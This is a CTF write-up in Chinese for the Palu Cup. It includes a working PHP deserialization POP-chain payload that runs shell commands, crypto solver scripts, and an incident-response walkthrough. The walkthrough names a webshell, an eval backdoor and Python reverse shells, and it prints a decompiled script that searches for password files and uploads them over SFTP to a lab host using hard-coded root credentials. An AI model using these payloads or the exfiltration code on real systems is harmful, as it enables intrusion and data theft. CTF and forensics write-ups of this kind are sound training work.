
最终名额定格在第五名,CTF真不会打了,队友非常给力
分享一下简单的WP
帕鲁杯WP
Web-签到

flask写的两个路由,flag是返回paluctf,另外一个是路由接收url,url响应体有paluctf就return flag
请求自己带flag响应体就有paluctf,直接就出来了
WEB-r23
<?php
show_source(__FILE__);
class a{
public $b;
public function __get($a){
$this->b->love();
}
}
class b{
public $a;
public $c;
public $d = 1;
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}
class xk{
public function love(){
system($_GET['a']);
}
}
$payload = new b();
$a = new b();
$a->b = &$a->d;
$a->b = &$a->c;
$a->a = new a();
$a->a->b = new xk();
echo serialize([$a, $payload]);
unserialize($_GET['pop']);
//?pop=a:2:{i:0;O:1:"b":4:{s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}s:1:"c";N;s:1:"d";i:1;s:1:"b";R:5;}i:1;O:1:"b":3:{s:1:"a";N;s:1:"c";N;s:1:"d";i:1;}}&a=cat%20flag.php
基本的构造绕过,具体POP如下
创建b类的实例$a。
设置$a->a为新的a类实例。
将$a->a->b设为xk类的新实例。
设置$a->b为对$a->d的引用,然后改为对$a->c的引用。
序列化$a对象。
Crypto-两元钱的铜匠
n = 80916351132285136921336714166859402248518125673421944066690210363157948681543515675261790287954711843082802283188843248579293238274583917836325545166981149125711216316112644776403584036920878846575128588844980283888602402513345309524782526525838503856925567762860026353261868959895401646623045981393058164201
N = 175887339574643371942360396913019735118423928391339797751049049816862344090324438786194807609356902331228801731590496587951642499325571035835790931895483345540104575533781585131558026624618308795381874809845454092562340943276838942273890971498308617974682097511232721650227206585474404895053411892392799799403
leak = 161177488484579680503127298320874823539858895081858980450427298120182550612626953405092823674668208591844284619026441298155371399651438065337570099147890081125477609238234662000811899869636390550619251741676887565983189442613760093303841954633720778312454175652907352477365434215186845209831284593041581382419
a = pow(9999, 66666)
b = pow(66666, 9999)
P.<x> = PolynomialRing(Zmod(N))
f = a*x^2 - leak*x + b*n
p = f.roots()
print(p)
通过Sage Cell 服务器 (sagemath.org) 网站,得到p
然后根据p,q,n,c,rsa解密。
55889464403601630400535396894773636084437838131024127884720705327499836176203640678726013
转换明文得到flag
'paluctf{6699669966996699669966996699}'
CRypto-江枫渔火对愁眠
对于每位:
li1=(leak1 >> idx)&1li2=(leak2 >> idx)&1
pi =(p>>idx)&1qi=(q>>idx)&1
只有以下4种情形:
[1]pi=1 and qi=1->li1-1 and li2=1
[2]pi=0 and qi-1->li1=0 and li2-1
[3]pi=1 and qi=0->li1-0 and li2-1
[4]pi=0 and qi-0->li1-0 and li2=0
写出解密脚本

Crypto-玛卡巴卡有什么坏心思呢
和应急响应46 同脚本解密得到答案
Crypto-签到
打开socket代理,写脚本连接服务器,接收加密数据和参数,然后利用RSA解密算法计算并返回解密后的消息。
from pwn import remote
from Crypto.Util.number import long_to_bytes, inverse
def connect_and_calculate(host, port):
# 连接到服务器
conn = remote(host, port)
try:
conn.recvuntil(b'Hi Palu\n')
c_line = conn.recvline().decode()
p_line = conn.recvline().decode()
e_line = conn.recvline().decode()
c = int(c_line.split(': ')[1].strip())
p = int(p_line.split(': ')[1].strip())
e = int(e_line.split(': ')[1].strip())
n = p * p
phi_n = p * (p - 1)
d = inverse(e, phi_n)
plaintext = pow(c, d, n)
decrypted_message = long_to_bytes(plaintext)
return decrypted_message
finally:
conn.close()
host = '127.0.0.1'
port = 58109
while True:
try:
result = connect_and_calculate(host, port)
print(result)
except Exception as e:
print(f"发生错误:{e}")
MISC-什么协议
1692 条

}ofhrdrl0nd__${atffige01_gs
BWT解码得到flag
flag{go0d_finder_f0r_th1s}
MISC-江

地图搜索,找到带江的地点,百度实景地图进行对比

MISC-FM 145.8
sstv读取得到flag

Misc-签到
循环10进制再转ascii就能得到

应急响应题目
1. 签到 提交:[堡垒机的flag标签的值]
使用账号登录jumpserver,更多选项-》标签列表

2. 提交攻击者第一次登录时间格式为:[2024/00/00/00:00:00]
切换工作目录为审计台,排除查登录日志,时间筛选一年以内,分析发现有一个LAN登录

3. 提交攻击者源IP格式为:[0.0.0.0]
分析jumpserver日志和会话,发现除20网段以外的地址,1.4
4. 提交攻者使用的cve编号格式为:[CVE-0000-0000]
分析webserver日志,发现jumpserver被攻击,上网查询相关cve

5. 提交攻击者留着web服务器上的恶意程序的32位小写md5格式为:[xxxxxx]
目录排查发现webserver虚拟机root目录下有一个home elf文件,jumpserver会话命令有提示将ppttteee文件mv到该目录下,并且时间对应



6. 分析恶意程序连接地址和密码格式为:[md5(地址)-md5(密码)]全小写
7. 提交存在反序列化漏洞的端口格式为:[md5(端口)]
webserver中审计日志和查看进程信息,fastjson存在java反序列化


8. 提交攻击者使用的后门路由地址格式为:[md5(/api/xxx)]
webserver中还有一个7001端口监听了flask服务,分析app.py审计flask的log得到api


9. 提交dnslog反弹域名格式为:[md5(域名)]
分析后门写入的日志


10. 提交第一次扫描器使用时间格式为:[2024/00/00/00:00:00]
分析后门日志的时间戳,从19开始后大规模扫描


11. 提交攻击者反弹shell使用的语言格式为:[md5(c++&java)]均为小写
分析后门日志发现py的反弹shell


12. 提交攻击者反弹shell的ip格式为:[xxx.xxx.xxx.xxx]
继续分析后门日志

13. 提交攻击者留下的账号格式为:[xxxxx]
/var/backup文件夹,进去有账号密码备份

14. 提交攻击者的后门账户密码格式为:[md5(password)]
同上,拉去john爆一下

15. 提交测试数据条数格式为[md5(xxx)]
分析后门日志,发现除爆破数据外前面测试了五次ls命令

16. 请提交攻击者留下的信息格式为:[xxxx]
nginx的日志目录

17. 请提交运维服务器上的恶意文件md5小写32格式为:[xxxx]
jumpserver看日志,排序时间发现helloworld程序,查看相关命令


18. 提交恶意文件的恶意函数格式为:[md5(恶意函数)]
入口函数名

19. 请提交攻击者恶意注册的恶意用户条数格式为:[md5(x)]
查看论坛的数据库地址,查询数据表得到注册的恶意用户


20. 请提交对博客系统的第一次扫描时间格式为:[[2024/00/00/00:00:00]
查看Discuz!论坛的数据访问日志,在error中得到扫描时间
/var/www/html/data/log/202404_errorlog.php

21. 提交攻击者下载的文件格式为[xxxx.xxx]
web根目录的备份文件upload.zip
22. 请提交攻击者第一次下载的时间格式为:[xx/Apr/2024:xx:xx:xx]
23. 请提交攻击者留下的冰蝎马的文件名称格式为:[xxxx]
/var/www/html/api/nidewen.php

24. 提交冰蝎的链接密码格式为:[xxx]
解密key文件名

25. 提交办公区存在的恶意用户名格式为:[xxx]
PC-01 net user

26. 提交恶意用户密码到期时间格式为:[xxxx]
和25题一样看信息

27. 请对办公区留存的镜像取证并指出内存疑似恶意进程格式为:[xxxx]

28. 请指出该员工使用的公司OA平台的密码格式为:[xxxx]


29. 攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么格式为:[xxxx]

30. 请提交该计算机中记录的重要联系人的家庭住址格式为:[xxxxx]
strings大法+百度智能化引擎搜索
31. 请提交近源靶机上的恶意文件哈希格式为:[xxx]
md5 值 [a7fcd0b15a080167c4c2f05063802a6e]
启动目录下artifact.exe

32. 提交恶意程序的外联地址格式为:[xxxxx]
cs木马逆向配合OD动态查看ip,这个里面有一个解密的程序把这里一段字符 揭秘一下就是一个函数,然后 运行到执行之前用F12搜关键字
传微步也能得到!!!

33. 提交攻击者使用内网扫描工具的哈希格式为:[xxxx]
history
fscan md5值
34. 请提交攻击者在站点上留下的后门密码格式为:[xxxx]
index.php eval($_[123])
202cb962ac59075b964b07152d234b70
35. 请提交攻击者在数据库留下的信息格式为:[xxxx]
192.168.20.52
用户名:mysql密码:mysql1234
36. 提交攻击者在监控服务器上留下的dcnlog地址格式为:[xxx.xx.xx]
192.168.20.52
用户名:mysql密码:mysql1234
zabbix的auditlog表里面就有dnslog地址,反弹shell是表记录里面有一个python反弹shell,base64解码
37. 提交监控服务器上恶意用户的上一次登录时间格式为:[xx/xx/xx/xx:xx:xx]
38. 提交监控服务器上遗留的反弹shell地址和端口格式为:[xxxx:xx]
192.168.20.52
用户名:mysql密码:mysql1234
反弹shell是表记录里面有一个python反弹shell,base64解码
39. 提交恶意钓鱼文件的哈希格式为:[xxxx]
[da75025ff7f3b6baa27f5913c1c83063]


40. 提交恶意文件外联IP格式为:[xxx]
41. 提交被恶意文件钓鱼使用者的姓名格式为:[xxx]

42. 提交攻击者留下的信息格式为:[xxxx]
注册表打开就有flag
43. 提交恶意用户数量格式为:[md5(xxxx)]
PC02 admin00-admin19 + guest + dev00-dev19+sale00-sale08 = 49
md5(49) = f457c545a9ded88f18ecee47145a72c0
44. 请提交员工集体使用的密码格式为:[xxxx]
登录其他账户测试一下

45. 提交加密文件的哈希格式为:[xxxx]
[2bf71a0d6d4e70cec7602da2b653e2ab]

46. 提交被攻击者加密的内容明文格式为:[xxxx]
import re
encoding_rules = {
'a': '玛卡巴卡轰',
'b': '阿巴雅卡轰',
'c': '伊卡阿卡噢轰',
'd': '哈姆达姆阿卡嗙轰',
'e': '咿呀呦轰',
'f': '玛卡雅卡轰',
'g': '伊卡阿卡轰',
'h': '咿呀巴卡轰',
'i': '达姆阿卡嗙轰',
'j': '玛卡巴卡玛卡巴卡轰',
'k': '玛卡巴卡玛卡巴卡玛卡巴卡轰',
'l': '玛卡巴卡玛卡巴卡玛卡巴卡玛卡巴卡轰',
'm': '阿巴雅卡阿巴雅卡轰',
'n': '阿巴雅卡阿巴雅卡阿巴雅卡轰',
'o': '阿巴雅卡阿巴雅卡阿巴雅卡阿巴雅卡轰',
'p': '伊卡阿卡噢伊卡阿卡噢轰',
'q': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
'r': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
's': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
't': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
'u': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
'v': '咿呀呦咿呀呦轰',
'w': '咿呀呦咿呀呦咿呀呦轰',
'x': '咿呀呦咿呀呦咿呀呦咿呀呦轰',
'y': '咿呀呦咿呀呦咿呀呦咿呀呦咿呀呦轰',
'z': '玛卡雅卡玛卡雅卡轰',
'A': '玛卡雅卡玛卡雅卡玛卡雅卡轰',
'B': '玛卡雅卡玛卡雅卡玛卡雅卡玛卡雅卡轰',
'C': '伊卡阿卡伊卡阿卡轰',
'D': '伊卡阿卡伊卡阿卡伊卡阿卡轰',
'E': '伊卡阿卡伊卡阿卡伊卡阿卡伊卡阿卡轰',
'F': '咿呀巴卡咿呀巴卡轰',
'G': '咿呀巴卡咿呀巴卡咿呀巴卡轰',
'H': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
'I': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
'J': '达姆阿卡嗙达姆阿卡嗙轰',
'K': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
'L': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
'M': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
'N': '巴卡巴卡轰',
'O': '巴卡巴卡巴卡巴卡轰',
'P': '巴卡巴卡巴卡巴卡巴卡巴卡轰',
'Q': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
'R': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
'S': '呀呦轰',
'T': '呀呦呀呦轰',
'U': '呀呦呀呦呀呦轰',
'V': '呀呦呀呦呀呦呀呦轰',
'W': '呀呦呀呦呀呦呀呦呀呦轰',
'X': '达姆阿卡轰',
'Y': '达姆阿卡达姆阿卡轰',
'Z': '达姆阿卡达姆阿卡达姆阿卡轰',
'0': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
'1': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
'2': '玛巴轰',
'3': '玛巴玛巴轰',
'4': '玛巴玛巴玛巴轰',
'5': '玛巴玛巴玛巴玛巴轰',
'6': '巴卡玛巴轰',
'7': '巴卡玛巴巴卡玛巴轰',
'8': '巴卡玛巴巴卡玛巴巴卡玛巴轰',
'9': '巴卡玛巴巴卡玛巴巴卡玛巴巴卡玛巴轰',
'=': '妈个巴子轰',
'/': '妈个巴卡轰',
'+': '妈个巴达轰',
}
def decodemaba(miwen):
mingwen=''
# print(f'密文{{miwen}}')
result = re.split(r'(?<=轰)', miwen)
# print(result)
for it in result:
# print(it)
for key,val in encoding_rules.items():
# print(val)
if it==val:
# print("找到明文密码")
# print(key)
mingwen = str(mingwen)+str(key)
print(mingwen)
decodemaba("密文")
47. 请提交符合基线标准的服务器数量格式为:[md5(xx)]
所有服务器存在漏洞,符合基线数量为0.
cfcd208495d565ef66e7dff9f98764da
48. 提交办公区的恶意文件哈希格式为:[xxx]


49. 提交恶意回连端口格式为:[xxx]
python文件反编译

反编译pyc
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8
import os
import paramiko
from getpass import getpass
def search_in_files(directory, search_text):
pass
# WARNING: Decompyle incomplete
def ssh(local_file_path, remote_file_path): hostname = '192.168.20.123' port = 22 username = 'root' password = 'Network@2020' client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname, port, username, password) sftp = client.open_sftp() sftp.put(local_file_path, remote_file_path) sftp.close() client.close() print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''') flag = 'flag{234567uyhgn_aiduyai}'
search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)
50. 提交恶意程序中的falg格式为:[xxx]
49题源码
flag{234567uyhgn_aiduyai}
51. 提交恶意文件中的search_for_text内容 格式为:[xxxx]
49题源码
search_for_text = 'passwod'
Comments NOTHING